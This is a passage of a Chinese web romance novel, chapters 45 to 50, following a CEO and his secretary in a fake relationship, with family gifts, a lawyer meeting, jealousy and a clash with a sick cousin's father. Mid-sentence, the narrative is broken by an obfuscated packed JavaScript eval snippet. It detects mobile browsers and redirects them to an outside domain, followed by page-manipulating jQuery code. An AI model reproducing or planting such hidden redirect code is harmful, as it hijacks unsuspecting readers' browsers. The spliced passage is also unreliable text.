她将盒子推到霍砚舟面前,“霍家子孙不能做出始乱终弃的缺德事儿,你得对人家负责。” “妈,这都什么年代了?” 霍砚舟面上促狭,语气则很轻佻,“我睡了她,难道她没睡我吗?这种事儿是你情我愿。” “兔崽子,你出息了啊?” 霍敬启的声音从外边传了进来,他冷肃地瞪了霍砚舟一眼,“你要好好对人家姑娘,听到了吗?” 霍砚舟见霍敬启手里拎着极品明前龙井,“这是给我的?” 霍敬启将茶放在桌上,“送给苏小姐的。跟你在一起,她铁定上火。” 乔映紫忍笑,起身挽住霍敬启的胳膊,“走吧,让砚舟和黎骋收拾行李,下午早点赶飞机。” “我是明天回去!” 霍砚舟按了按眉心,被气笑了。 乔映紫语气不善,“你回来后,看也看了,劝也劝了,仁至义尽了。你赶紧滚回去,那么大的房子,苏小姐一个人住,你不怕她睡不好?” 堵**霍砚舟的话头,霍氏夫妇满意地走了。 被拎过来收拾行李的黎骋,边装礼品边说,“霍总,要不这些珠宝留下,等以后还给夫人?” 霍砚舟抻下西裤,坐下,“我妈不缺几套首饰,我是怕她知道我和苏嘉觅是假的,她失望。” 下午三点的飞机,霍砚舟吃完午餐又去了一趟医院。 黎骋与肖赫等在楼下。 肖赫笑着问黎骋,“苏小姐和杳杳小姐,谁漂亮?” 黎骋喝了一口奶茶,一本正经地说,“当然是苏小姐漂亮,明艳大气,妩媚动人。可霍总心里的人是杳杳小姐。” 肖赫仰靠在车椅背上,抽了口烟又将手送出了车外。 彼时,霍砚舟面沉如水地走了出来。 肖赫挑眉,“他怎么还不高兴了?” 黎骋咬着奶茶里的椰果,“听说杳杳小姐的生父拒绝为她配型,霍总迁怒那个男人呗!” 一个亲生父亲竟然拒绝救自己的女儿,是挺让人难以理解的。 黎骋捏着喝完的奶茶,准备下车丢空杯,“苏小姐的日子要难过了,霍总搞不好会霸王硬上弓。” 肖赫知道霍砚舟性格有时偏执又疯,他也隐隐为苏嘉觅担心。 霍砚舟拉开车门坐了进来。 黎骋扔完了垃圾,回来开车,他和肖赫很默契地都没说话。 到了机场,霍砚舟与肖赫道别后,领着黎骋去了候机室。 “情丝真能勒**啊!” 肖赫耸肩慨叹,独自开车返程。 苏嘉觅加了会儿班才回家,路过花店买了一捧芍药花,又买了袋鲜拉面。 她推门进去时,发现霍砚舟的皮鞋在玄关处,她放下购物袋。 “霍总,您回来啦?” 苏嘉觅捧着花喊人,就见霍砚舟端着杯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15631497|171349||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子,穿着睡衣,半湿着头发从餐厅走了过来。 两日未见,霍砚舟看着抱着粉红芍药花的苏嘉觅。 她削葱似的手指搭在艳艳粉花瓣上,巴掌大的脸挂着淡笑,目光温和而澄澈,她的明丽是如此的动人与缱绻。 霍砚舟放下杯子,走了过去。 他伸手抚了抚苏嘉觅的脑袋,“苏小二,这两天想我没?” “霍总,你好端端的,总叫我备注名干嘛呀?” 苏嘉觅凝视着芍药花,神情不自然,是心虚的样子。 霍砚舟伸手勾住苏嘉觅的背包带子,连人带花地扯了过来。 他语气低沉,“我做了个梦,梦到你又将我的微信名改成了霍老六。” 霍砚舟闷笑,“我不能吃亏,得叫回来,扯平了!” 苏嘉觅抬眸,一派天真,“霍总,梦当不了真。” “那给我看看你的手机,”霍砚舟挑眉轻笑,“若是没改,我送你一堆儿礼物,若是改了,我要惩罚你。” 苏嘉觅心跳如鼓。 她讪讪笑,“霍总,咱俩成年人,没必要揪着备注名,多幼稚啊!” “我就是幼稚,怎样?” 霍砚舟拿过她怀里的花扔在了一旁的玄关台面上,“手机!” 苏嘉觅绝望地闭了闭眼睛,语气委屈,“谁让我的霍总英明神武呢,我是给您改成霍老六了,你惩罚我吧!” 霍砚舟盯着苏嘉觅的丰润的唇瓣,他喉结滚动,呼吸急促地喘息,身体随着他呼吸的频率有了起伏。 他伸手扯过苏嘉觅,“你当初还欠我一口,咬改吻吧!” 话音落,霍砚舟拖着她后脑勺,吻住她。 霍砚舟的身上很热,苏嘉觅后知后觉的回神,才发现在男女情事上的男人是强势的,他的唇舌想要驯服她,她被迫与他接吻,却有不堪的情动在献祭给他,缠绵的接吻声让她心跳超速。 彼时的两人心照不宣,霍砚舟没有停下来的意思,而苏嘉觅攥紧了他睡衣领子。 被亲软的苏嘉觅像一滩春水萦绕在霍砚舟的心头。 有那么一刻,他想疯狂地占有她。 惩罚是有时限的,理智回笼的苏嘉觅从男人湿润的情欲里抽身,她扬手要掴霍砚舟一巴掌。 霍砚舟掐住她的手放在唇边吻了吻,“刚刚你明明很喜欢。苏秘书,手下留情!” 第46章 没有男人,哪来的百子千孙? 霍砚舟黑色的眸子染上一层薄薄的情愫,欲重潋滟,他低沉磁性的嗓音多了缕缕暗哑,兜不住的浪荡。 他捏着苏嘉觅的青葱玉指不松手,满是温柔的不舍。 苏嘉觅见惯了霍砚舟矜贵自持,不近人情的一面,如今他这副样子,让她头次见不说,她觉得自己头皮都有些发麻。 长得太好看的男人突然闷骚着与你调情,这谁受得了? 苏嘉觅垂眸不看他,“霍砚舟,我们俩是假的。你占我便宜,特别不道德,是在违背约定。” 假的? 是啊,他和苏嘉觅是假的。 可方才他迸发出来的欲望与热情却是真的,他想吻她的心是真的,想要独占她的情也是真的。 真真假假间,霍砚舟以为他能掌控这个度,可他高估了自己,他方才本就没在做戏,他是真的想与苏嘉觅亲近。 想到这,绷紧的心弦蓦然松了。 霍砚舟释然地将苏嘉觅扯进了怀里。 他哑声,“那我们变成真的?” 不待苏嘉觅回答,他将人压在了玄关上,眼睛在她的唇瓣与鼻尖逡巡了几秒钟,他便肆无忌惮地又吻上了她。 那种原始的悸动让霍砚舟忘情,让他沉迷其中。 唇齿相依的缱绻情动的声音在昏黄的灯光下暧昧拉丝,他将吻又落在了苏嘉觅锁骨,他的手则掐着她纤细的腰肢将人提了上去。 苏嘉觅蓦然腾空抱住了霍砚舟的肩膀。 她推着他,“霍砚舟,你放我下来,我讨厌你这样对我。” 霍砚舟湿漉漉的眼眸浓着欲望看向苏嘉觅,理智一点点地回归。 他那双漆黑的眼眸波澜频起,“苏嘉觅,我不强迫你,但你可以考虑下我的话。” 苏嘉觅此刻心都快跳出来了,她的初吻给了霍砚舟,而这两次热吻的体验也是霍砚舟给的,她很难形容此刻的心情。 霍砚舟将人放下,他捻了捻苏嘉觅茶色发丝。 “染发了?” 苏嘉觅偏过头,不好意思地接话,“嗯,夏天这个颜色显白。” 霍砚舟再次见到了苏嘉觅的含羞带怯,这种娇软湿润的神色很勾人,至少勾得他心发痒。 他咬了一下她的耳垂,“我见过的地方已经够白了,你不用显了。” 一个肤白貌美的女人还需要用茶色的发丝来显得脸颊瓷白? 不需要。 霍砚舟觑了一眼苏嘉觅的拎回来的购物袋。 “晚上吃面条?” 苏嘉觅颔首,她努力地变镇静,“嗯,这两天你不在,我给汪阿姨放假了。” 霍砚舟喉咙里溢出低笑,“正好,我喜欢你下面。” 苏嘉觅荡着粉色的脸颊红霞一片,“霍砚舟!” 霍砚舟神情慵懒,微微一怔。 他恍然,“啊,我说错了,我很喜欢吃你下的面。” 苏嘉觅伸手捶了霍砚舟两下,他没躲,也没制止,笑着承受她的挑衅。 霍砚舟扫了一眼苏嘉觅买的芍药,“喜欢花?” 苏嘉觅颔首,她抱起花去插瓶。 “谁不喜欢漂亮的事物啊?我自然也喜欢各种漂亮的花。” 霍砚舟舔了下嘴唇,双手插进睡衣口袋里,跟在她身后,“哦,那你喜欢长得漂亮的人物吗?比如,长得好的男人。” 苏嘉觅抿唇笑,心想霍砚舟就差点名道姓地说“长得好看的我”。 “男人也不能光长得好看,各方面都要强。” 霍砚舟的笑容僵在脸上,他之前为了让苏嘉觅放心跟在他身边,对外宣扬他不行,如今看来,他作茧自缚了。 只是,两人相处时间不长,即便成了真的男女朋友关系,也不可能过早地发生关系。毕竟,苏嘉觅对男人的身体存在本能排斥,可她没排斥他的亲吻。 霍砚舟的手忽而攥紧了,他发觉自己想得很多,很远,甚至不着边际。 与她的相拥亲吻,打乱了他的心。 跟着上楼的霍砚舟竟然来到了苏嘉觅的卧室,他看着室内的装潢——绿色与暖白色的墙面拼接,床品也换成了浅灰色蕾丝花边的四件套,窗帘是青柠抹茶色,纱帘是蕾丝蝴蝶纱。 曾经冷硬的风格变成了治愈系的温馨格调。 苏嘉觅品位很好,软装的调整让他有种苏嘉觅就是他家里女主人的感觉,虽然这感觉转瞬即逝,可霍砚舟眼中的笑意未减。 两人界定的关系是假的,若是能从无关系到男女关系,再到男女朋友关系,最后成了夫妻关系,这显然更好,可感情瞬息万变,谁又能保证以后呢? 苏嘉觅将淡粉色的芍药花插进瓶子里,让整个房间春意盎然。 霍砚舟倚着门看够了才说话,“我爸妈给你准备了礼物,在客厅的茶几上。” 苏嘉觅一进门就被霍砚舟连哄带骗地给吻了,她这会儿脸还发烫,哪里注意到霍砚舟回来还给她带回了他家人送她的礼物? 她捏着花枝,“我一会儿去看。” 霍砚舟察觉出苏嘉觅的羞涩,他方才是太孟浪了些,亲了人家两道。 他眼底波光微转,顿生波光粼粼,那抹笑意浓得化不开。 苏嘉觅插完花才发觉霍砚舟不在门口了。 她坐在床上做了两个深呼吸才去客厅看那些礼物。 苏嘉觅看到琳琅满目贵重又周到细致的礼品,她有些慌乱又有些无助。 从小到大,她从来没有收到过这么多礼物,而且都是来自长辈的善意,那种被突如其来的幸福感包围的错愕让她有些无所适从。 霍砚舟坐在餐厅吧台后,捏着杯子看着她的惊慌,惊喜。 可他发现苏嘉觅的眼眶红了,在他看来,除了那三套昂贵的珠宝首饰,其他都不过是寻常的礼品,可苏嘉觅却摩挲着丝绸布料红了眼眶。 只有没被厚爱过的人才会在爱袭来时是如此模样。 霍砚舟的嘴角回落,抿成一条直线,他想对苏嘉觅更好一点。 他起身走了过去,“苏小二,这丝绸都不错,只有一块料子挑得不好。” 苏嘉觅慌张地揩掉眼泪,“我看都挺好的。” 霍砚舟坐了过来,将手机放在茶几上,他拆开了猪肉脯递给苏嘉觅,“尝尝这个,我小时候很喜欢。” 苏嘉觅接过,咬在嘴里,味道确实好吃,不像市面散装的柴又油。 霍砚舟看着味蕾被调动出来的苏嘉觅,他又开始给她拆点心,嘴上却不着调,“有一块黄色布料上刺绣的是百子千孙图。” 他调侃,“你现在连男人都没有,上哪弄百子千孙去?” 苏嘉觅觉得接下来没好话。 她挑眉,“霍总,接下来你要说什么,我知道,我不需要你帮忙。” 霍砚舟确实要说他可以给她“帮忙”,让她获得“百子千孙”。 他闷笑,“你还挺了解我。” 苏嘉觅吃着甜甜的点心,总察觉有一道炽热的目光落在她脸上。 忽而,霍砚舟的手机响了。 苏嘉觅搭眼瞧见,上面的名字,两个字——杳杳。 她望向霍砚舟。 霍砚舟片刻呆滞的神情很是复杂,像是沉浸在梦境中的人突然被电话铃声拉回了现实。 他接起电话,起身,“杳杳,我回书房跟你说。” 第47章 苏嘉觅,你帮帮我! 苏嘉觅煎了鸡蛋、基围虾,洒了一把青菜,煮的西红柿汤底的面条。 色香味俱全,她满意地看着自己的拿手餐食,抬眸看向楼上——霍砚舟还没下来吃饭。 苏嘉觅沉吟片刻,她去了楼上。 天微微暗沉,书房没开灯,窗外斑驳灰蒙的光亮照进来,一股子萧索的味道。 苏嘉觅推门进来,她见霍砚舟夹着香烟的手支着额头,他垂着眼睑却满脸的疲惫,阴沉,周身气质颓丧,像是受到了很大的打击一般。 “霍总,晚上准备好了。” 苏嘉觅轻软的声音传来,霍砚舟怅然若失地抬眸。 苏嘉觅发现男人眼底红了,她的心猛地被攥了一下,目光落在他满是烟蒂的水晶烟缸上,她识趣地转身开门出去。 霍砚舟腾地起身,追了出来。 他追上苏嘉觅,扼住了她的手腕,“苏嘉觅,你帮帮我好不好?” 苏嘉觅茫然地看向霍砚舟,“霍总,我帮你?” 她苦笑,“按摩吗?” 霍砚舟触及那双温润明亮的眼眸,提起的勇气又泄了大半,想脱口而出的话又卡在了喉咙里。 他垂眸,“没事了,你去吃饭吧!” 苏嘉觅觉得霍砚舟很不正常,她想逃离这种低气压,“呃,我把面条放在保温箱里,霍总早点下来吃。” 她又补了一句,“面坨了就不好吃了。” 霍砚舟微微点头,他又回了书房。 夜里,苏嘉觅觉得晚上静得可怕,总觉得房间比霍砚舟要回来前还要空,还要静。 翌日临上班前,苏嘉觅去厨房拿牛奶,发现保温箱还通着电。 她拉开一看,昨晚给霍砚舟准备的那碗面还在,只是面已经坨地糊在了一起,没法吃了。 霍砚舟整理袖扣从电梯内出来,就见厨房里,苏嘉觅将一碗面倒进了垃圾桶,他目光触及她,像是生出了刺,让他心口发闷。 苏嘉觅从厨房出来,就见霍砚舟站在那,四目相对,别样的情绪。 霍砚舟,“抱歉,昨晚我没胃口。” 苏嘉觅说不上是失落还是无奈,只笑笑,“没事儿,下次霍总想吃,我再多煮点。” 去公司的路上,苏嘉觅拿着ipad在做行程表。 开车的黎骋觑了一眼坐在后面晃神的霍砚舟,又看一下忙着工作的苏嘉觅,他总觉得他家老板的情感发挥能力不够稳定,对苏嘉觅时好时坏的。 到了公司,前台走了过来,“苏秘书,刚有一名恒瑞律所的顾律师领着一位先生到楼上会客室去等您了。” 霍砚舟早上有个早会,他吩咐黎骋,“你陪她过去。” 黎骋应声。 而后,霍砚舟进了董事长专属电梯去了办公室。 苏嘉觅与黎骋一道去了会客室,就见许瑶的哥哥许璴笑着起身,“觅觅?” 黎骋被一句“觅觅”叫得起了一层鸡皮。 “许哥,您怎么过来了?” 许璴指了指恒瑞的首席律师顾煜,“我哥们儿,顾煜。知道你找他做代理律师,我怕他不尽心,跟过来盯着他的。” 如此讨好又卖乖的说辞逗笑了苏嘉觅。 顾煜见到苏嘉觅本人算是明白许璴“狗屁膏药”似的跟过来,为了哪般了?醉翁之意在乎“美女”也。 他拿出名片,“苏小姐,鄙人顾煜,很高兴能为您效劳。” 苏嘉觅接过烫金字的名片,“麻烦顾律师了,坐吧!” 黎骋看不下去了,也觉得没有待下去的必要,在他看来,他在不在这盯着,这位顾律师和许某人都会对苏嘉觅的官司格外上心。 “苏秘书,既然都是熟人,那你们聊,我先去开会。” 苏嘉觅点头,“谢谢黎特助。” 许璴从许瑶那知道苏嘉觅和陆北分手后到霍砚舟身边的做秘书了,而这黎骋就是霍砚舟心腹狗腿子。 想到这,许璴白了黎骋一眼。 黎骋紧绷下颌,没脾气地走了。 因为与许璴相熟,苏嘉觅将两人带去了她的办公室,并且给两人泡了咖啡。 另一边,投资金服的高层会议刚开始,就见黎骋夹着笔记本进来,坐在了霍砚舟旁边准备记录。 霍砚舟目光微沉,低声询问,“苏嘉觅这么快就跟律师谈完了?” 黎骋一五一十地说,“还没开始谈,不过顾律师的哥们儿是许瑶的哥哥许璴,他一看就是苏秘书的狂热追求者,所以,怎么谈都能成。” 霍砚舟眉宇微皱,“谁让你回来的?” 黎骋觉得他在那可有可无。 霍砚舟按了按眉心,“先开会。” 会开了有二十分钟,霍砚舟合上了文件夹,“这个会下午继续,散会。” 汇报人还没汇报完第八页的PPT,就见霍砚舟已经起身走了。 黎骋忙合上笔记本电脑跟了出去。 霍砚舟直奔小会议室,发现里面没人。 他舔了下嘴唇,在小会客室门口站了片刻,他勾了勾唇角,神清气爽地回办公室。 从电梯出来,就见秘书办的人纷纷探头出来,叽喳的议论—— “苏秘书办公室的两个男人是谁呀?长得都好帅!” “苏秘书的资源真好,帅哥一抓一大把!” 霍砚舟黑亮的眼眸浓上一层寒冰,“你们很闲?没事做?” 众人一回头看到大老板从电梯那过来,作鸟兽散。 霍砚舟望向苏嘉觅的办公室,门关着,里面隐隐有笑声传来,他拎着文件夹拍了一下自己的左腿。 他疾步去了苏嘉觅的办公室,推门进去,就见苏嘉觅抱着胳膊,面容带笑地倚着桌子与沙发上的两人攀谈。 顾煜一见他们律所恒瑞的创始合伙人傅珩的发小、商界阎罗霍砚舟来了。 他毕恭毕敬地起身,“霍总。” 霍砚舟微微点了下头,算是打了招呼。 许璴还大喇喇坐在那,他觑向了霍砚舟,竟然发觉这霍砚舟跟传闻中的“不行秧子”形象大相径庭。 男人身姿挺拔的劲硕模样,性张力和力量感都拉满了。 许璴慢悠悠地起身,“霍总,您好,我叫许璴。” 霍砚舟走过去,浅浅地与其握了一下手,就问苏嘉觅,“谈得怎么样了?” “许哥跟顾律师是好友,我们谈得很顺利,”苏嘉觅笑容温婉,“顾律师说他很有把握胜诉,还说我不用出席庭审,他全权代理。” 霍砚舟目光寒凉地扫了一眼两人。 他勾唇,“谈完了,那你到我办公室来一下。” 说完,霍砚舟拉门走了。 顾煜摸了摸鼻子,起身,“苏小姐,谢谢你的咖啡,之后细节,我们可以电话谈。” 许璴不想走,被顾煜扯着。 他嗔怪,“你这老板不好伺候吧,觅觅,要不你来我公司?” 苏嘉觅没搭话,笑着送两人下楼。 只是许璴的那声音量过大的“觅觅,晚上一起吃饭”让整个楼层的人都听见了。 苏嘉觅一进霍砚舟的办公室,就见他似笑非笑,“觅觅,过来!” 第48章 醋坛子洒“霍醋”了! 苏嘉觅头皮发麻,她站在那没动,只是脸上漾着笑。 霍砚舟沉默地看着她,他勾了勾唇角,“许璴叫的,我叫不得?” 他修长的手指敲击桌面,“前两天你还说我是你的金主,衣食父母。这会儿,我成了不相干的人?” 苏嘉觅看着傲娇的男人垂眸敛笑,深沉自恋。 她笑出了声,“霍总,你这个样子,我会误以为你吃醋了。” 吃醋? 争风吃醋? 霍砚舟左手圈拳放在唇边轻咳了两声,“我不是吃醋,我是觉得他们占用了我的时间。” 他沉声,“过来给我按按头。” 苏嘉觅神情紧绷,“霍总,你又头疼了?” 霍砚舟,“嗯,会议里,他们吵得我头疼。” 苏嘉觅不知道霍砚舟是怎么落下头疼的毛病的,可他明明头疼睡眠不好,却在卧室里安了夜灯,悠悠淡淡的光亮,即便是在外住酒店,黎骋也给他准备了光源幽暗的夜灯。 这个习惯更不利于睡眠。 她走过去,绕到椅子后面,两手按住霍砚舟的太阳穴,轻重适度地按压。 “霍总,你睡眠不好会引起头疼,所以没必要用夜灯。” 霍砚舟本舒服地闭着眼,听到这又缓缓地张开,“我...习惯了。” 苏嘉觅听到霍砚舟这么说,就没再说下去。 忽而,黎骋抱着一大束玫瑰走了进来,他抿唇,“苏秘书,这是许总送过来的,打你电话没人接,他说晚上过来请你出去吃饭,顾律师也去。” 霍砚舟看着那艳红色的玫瑰映在“二傻子”黎骋的脸,他冷嗤,“你是我助理还是许璴的助理?” 黎骋哽在那,他无助地看向苏嘉觅。 苏嘉觅抿了下嘴唇,她觉得这是男人与男人之间的比较与较量,许璴喜欢她,所以更愿意为了她挑衅霍砚舟。 而霍砚舟这人占有欲强、好胜心更强,即便她是他的假情人,那也得假在他的这边。 苏嘉觅安抚霍砚舟,“晚上吃饭就是谈案子,要不霍总陪我一道去?” 霍砚舟沉吟片刻,“嗯,那这花呢?吃饭就要送玫瑰?” 苏嘉觅没吭声,觉得这个她不好解释也没必要解释。 霍砚舟垂眸敛笑,拿过烟盒抽出一根烟焚燃,浅吸。 他不紧不慢地吐出一个烟圈,睨着苏嘉觅的眼神如同野兽见到猎物,极具侵略性。 “秘书办的人看着,你收着玫瑰,合适吗?” 他伸手捏住苏嘉觅的手,“嗯?苏秘书?” 苏嘉觅的手传来霍砚舟烫人的温度,她想收又收不回,只得摇头,她抬眸又去求黎骋。 黎骋怔忪片刻,他笑呵呵地说,“得嘞,这花是我收的,我晚上揪了泡热水澡。” 说完,黎骋脚底抹油溜了。 他走后,室内又剩下霍砚舟和苏嘉觅两人。 霍砚舟被自己的狗腿子给搞得有些局促,他沉默地吸了两口烟,“晚上吃饭,打扮得漂亮点。” 他从一旁抽屉里拿出一本名片夹,翻出一张浅蓝色的名片。 “你到这去,让她给你做造型。” 苏嘉觅接过,是一家私人妆造馆,妆造师叫盛放。 她知道霍砚舟信不过她的品位,他要的是她大杀四方,可见他想在晚上占据上风。 难道这次吃饭比上次参加冷家的宴会规格还要高? 苏嘉觅捏着名片,脸色有些难看。 霍砚舟回身看向她,猜出了她的心思。 他缓声安抚,“苏秘书,合约期内,你只能跟我在一起,维系我体面。” 他将没抽完的烟按在烟缸里,“合约到期后,你想怎样都与我无关。” 苏嘉觅将名片放在口袋里,“我知道了,霍总。” 人走后,霍砚舟扶额,回想从昨晚到现在的发生的事情,他觉得自己有些不可理喻。 他的心很乱,不知是因为霍云杳还是因为苏嘉觅,就像一潭平静的水被搅出了漩涡。 到了私人妆造馆,看到霍砚舟的保镖护着苏嘉觅过来,会馆的老板盛放眼睛都直了,他推了一个二线明星的现场化妆来捯饬苏嘉觅。 “霍总可是出了名的眼光高,我要是不画好苏小姐,”盛放给洗过脸的苏嘉觅补水,“霍总这个财神爷可就不给我生意了。” 苏嘉觅觉得盛放这男的说话没头没尾的,霍砚舟又不是搞美妆、玩娱乐圈的,他还能给盛放生意? 盛放笑着说,“苏小姐得霍总爱护,可是几辈子修来的福气。上次,霍总在江城跟一线女星走个红毯,都让一线女星生出了想结交的心思。” 他选护肤品,“可我们霍总压根没理那女星,再见面只说两个字“不熟”,可把人家一线女星气死了。” 苏嘉觅只点头应付,不知道说什么。 盛放给苏嘉觅打底的时候,他仔细看苏嘉觅的脸,“你这张脸真的好像...” “像谁?” 苏嘉觅不解。 盛放只笑笑,心里想的是像霍家那个病恹恹的小姐——霍云杳。 化完妆,选了礼服,苏嘉觅从试衣间出来,就见霍砚舟背手站在那。 “霍...” 苏嘉觅觉得在外人面前叫他“霍总”不好,她轻声,“砚舟!” 霍砚舟回眸,看向苏嘉觅,再次被她的美貌击中,墨色一字肩礼服,掐腰宽裙摆,衬出她的丰胸细腰,而开叉荷叶边可见一双纤细白皙的小腿。 盛放笑着夸赞,“苏小姐的身材真好,相貌更是超一线。” 霍砚舟挪不动的目光验证了他所言非虚。 他怔了片刻才走过去,从黎骋打开的盒子里拿出一串钻石项链,绕到苏嘉觅身后,轻轻扣在她细嫩的颈间。 镜中,衣着不俗,笔挺俊拔的霍砚舟与苏嘉觅站在一起,一双丽影,一对璧人,是天选般配。 会馆里的人都看着他们。 霍砚舟轻笑,“拍卖会得来的珠宝,你戴真好看。” 苏嘉觅羞涩的脸上荡起红晕,她挎着霍砚舟的胳膊,“你也好好看。” 黎骋低头偷笑,转身去开车。 到了许璴定的高档西餐厅,许璴和顾煜看到盛装陪苏嘉觅来的霍砚舟,两人一个眼睛发直,一个压根没敢细看苏嘉觅。 倒是霍砚舟在隔壁的餐位处看到了霍云杳的生父,那个不愿意救女儿的男人。 他目光射出冷肃的光。 许璴面露不悦,低声与顾煜说,“霍砚舟是来搞雄竞的吗?” 彼时,正与人交谈的男人目光落在了苏嘉觅的身上,他怔了怔...... 第49章 有没有一点喜欢我? 霍砚舟见到男人看向苏嘉觅的目光,他眼里立即笼罩了一层暗色,他拉着苏嘉觅入座。 许璴仰靠在椅背上,看着苏嘉觅,无奈地笑笑,“怎么我请你吃个饭,觅觅还要拖家带口?” 一句玩笑话满满的讥讽。 被讥讽的霍砚舟却风淡云轻,他招招手,服务员就走了过来。 服务员对霍砚舟格外客气,“霍先生,还是你喜欢的那几道菜吗?” 霍砚舟接过服务员的菜单给苏嘉觅,他沉声对服务员说,“把我寄存在这的红酒醒好。” 服务员颔首。 霍砚舟礼貌对顾煜和许璴说,“顾律师和许总帮了觅觅的忙,这一餐,我表示感谢。” 许璴捏紧了手,他盯着霍砚舟看了几秒。 男人的目光冷凛透着淡定,一看就不是一个好相处的人。 顾煜对霍砚舟了解不多,只是去江城律所向傅珩汇报工作时见过两回,他身上矜贵自持的气质就挺让他打怵的。 他笑着说,“让霍总破费了。” 霍砚舟笑笑,便看着苏嘉觅点餐。 苏嘉觅没来过这,看着琳琅满目,摆盘精致的餐点,她觉得都好吃。 霍砚舟的手搭在她的腰间,往他那侧带了带,“不知道吃什么?” 苏嘉觅促狭地点了下头,“给点建议?” 霍砚舟对服务员说,“招牌和牛惠灵顿、椰子舒芙蕾、柠檬草牡丹虾吐司、鱼子酱芝士蛋糕、海胆洋葱汤。” 服务员笑着应下,“前菜还是按照霍先生之前的喜好?” 霍砚舟则将菜单递给了许璴,“许总,你来定!” 许璴接过菜单,扫了一眼,把店里最贵的,招牌的前菜都点了,反正霍砚舟有钱,他又吃不穷。 看着可劲儿“报复”情敌的许璴,顾煜尴尬的笑笑,他开始跟苏嘉觅谈案情。 许璴以为他会跟霍砚舟大眼瞪小眼,眉目撕逼,没想到霍砚舟听着案情,眼睛却时不时看向隔壁桌的中年男人。 那男人也往这边看,只是目光落点是明艳动人的苏嘉觅。 上到八十,下到十八,似乎男人的眼光都是一样的,喜欢美女。 许璴冷冷地剔了那男人一眼。 男人却不甚在意,他的目光直白,恳切。 不多时,上了菜。 四人中,除了苏嘉觅在认真品尝美食,三个男人各有心事。 顾煜一度觉得他就不应该来,若不是傅珩不在京城,他又不得不受命接下苏嘉觅的案子,他何必在这碍霍砚舟的眼? 霍砚舟见苏嘉觅喜欢这家的菜,他又给她倒了红酒。 “你喜欢,我们常来。” 苏嘉觅莞尔。 忽而,一个中年男人的声音传来,“这位小姐,冒昧地问一下,您贵姓?” 苏嘉觅看向眼前的男人,似曾相识的感觉,可她也不记得在哪见过。 “我姓苏。” 苏嘉觅的话,让苏彦允为之一振,“你是哪里人啊?” 苏嘉觅觉得这男人挺莫名其妙的。 她看了一眼身侧的霍砚舟,就见他满脸愠色。 苏嘉觅也觉得这个男人冒昧。 她沉声,“我老家是江城边水镇的,后来随我爸妈搬到海城云杉县。” 苏彦允神情渐冷,他喃喃道,“我认错人了,不好意思。” 话音落,他转身坐了回去。 霍砚舟却迟疑地看向苏嘉觅,他低声,“你不是说你是孤儿?” 苏嘉觅神情微滞,没什么语气。 “嗯,我说的是我的养父母。” 苏嘉觅提及此事的神色淡,可却有厌恶的神色。 霍砚舟从未听过苏嘉觅主动提及其养父母,想来关系很差。 霍砚舟捏了捏她的手,“吃吧!” 对面两个男人看着霍砚舟与苏嘉觅的互动,顾煜诧异,许璴憋闷。 此时,隔壁桌的男人与谈事的同伴要离开,霍砚舟却起身,“觅觅,你先吃,我去处理点事情。” 苏嘉觅看着身姿挺括的霍砚舟追着刚才的男人出去了。 许璴拄着下巴,劝苏嘉觅,“觅觅,霍砚舟这男人不行,占有欲太强了,那位先生都能做你父亲了,霍砚舟都跟狗一样追出去了。” “许哥,你能不拿我开心吗?” 苏嘉觅捏着杯子敬顾煜和许璴,两人与其碰杯。 门外,霍砚舟将苏彦允堵在了一旁的巷子内。 “苏先生,我不明白你为什么不肯救杳杳?” 霍砚舟黑曜石般的眼睛满是寒意,他菲薄的嘴唇勾出一抹讥笑,“亲生女儿都不管,你枉为人父。” 苏彦允看着霍家最得意、出众的小辈,觉得不过如此。 “你们霍家愿意藏污纳垢,那是你们的家事,”他语气冷凛,“不要强制我做什么,因为你们不配。” 霍砚舟捏紧了拳头,他找人调查过苏彦允。 苏彦允早年做研究因泄秘坐了一年的牢,出狱后与好友开办了一家公司,规模不大,可他却是个能做学术的,搞出几篇论文和专利来。 眼下,他已经是国外常青藤名校的教授,而此次回国则是在京大做学术交流,任客座教授。 这样一个高知竟然辱骂他的家族。 霍砚舟面容阴沉得几乎能滴下水来,让人不自主地感到一丝战栗。 他捏着拳头,“苏先生对霍家有偏见?” “不是偏见,是看不上,”苏彦允冷嗤,“尤其是你二叔二婶一家,卑劣,龌龊,可见一斑。” “住口!” 霍砚舟一拳就要挥过去。 就听苏嘉觅的声音传来,“霍总,你站那做什么?” 霍砚舟拳头一偏,砸在了旁边的墙壁上,“苏先生是杳杳的生父,是长辈,我不跟计较!” 他觑了一眼自己流血的拳头,“若是下次你再诋毁霍家,我会让你名誉扫地。” 苏彦允冷嗤,“又来这套?” 他冷冷地剔了霍砚舟一眼就走了。 霍砚舟眼中闪过不明所以,他觑向消失在夜色中苏彦允挺拔的背影,心中在想他那句话到底什么意思。 苏嘉觅过来,她看到霍砚舟的手在滴血,“霍总,你这是怎么了?” 霍砚舟从西裤口袋里拿出手帕随意地包了一下,“没事儿,磕墙了。” 这得用多大的力气能磕成这样? 苏嘉觅见霍砚舟不想说,她也不好多问,只说,“我送你到车上去,我去买单。” 霍砚舟觉得苏嘉觅很懂事,他这个样子自然不想被许璴和顾煜看到。 他回到车上,看着苏嘉觅送走了二人。 她拎着裙摆过来的时候,霍砚舟的眼睛挪不开,她夜色中独行,美又艳。 苏嘉觅在后备箱里拿出了之前快递过来的小药箱才上车,“霍总,我给你包一下?” 霍砚舟温软了几分,“嗯,还真有点疼。” 苏嘉觅垂着眼眸,动作轻缓地处理霍砚舟的伤口。 霍砚舟看着她,“苏嘉觅,你有没有一点喜欢我?” 第50章 霍砚舟:苏秘书你要请客! 苏嘉觅听到霍砚舟的话,她的杏核眼闪过一瞬的慌乱。 她手上动作没停,故意靠近他,轻吐气息在他耳畔,眼神透着狡黠,“霍总,我知道你心里有人。这伤,怕也是因她而起吧?” 霍砚舟身子一僵,却强装镇定,轻轻地推开她,脸上的表情冷漠中藏着一丝难以抑制的慌乱。 “不是,我没有。” 霍砚舟清冷的否认声,让苏嘉觅愈发的笃定。 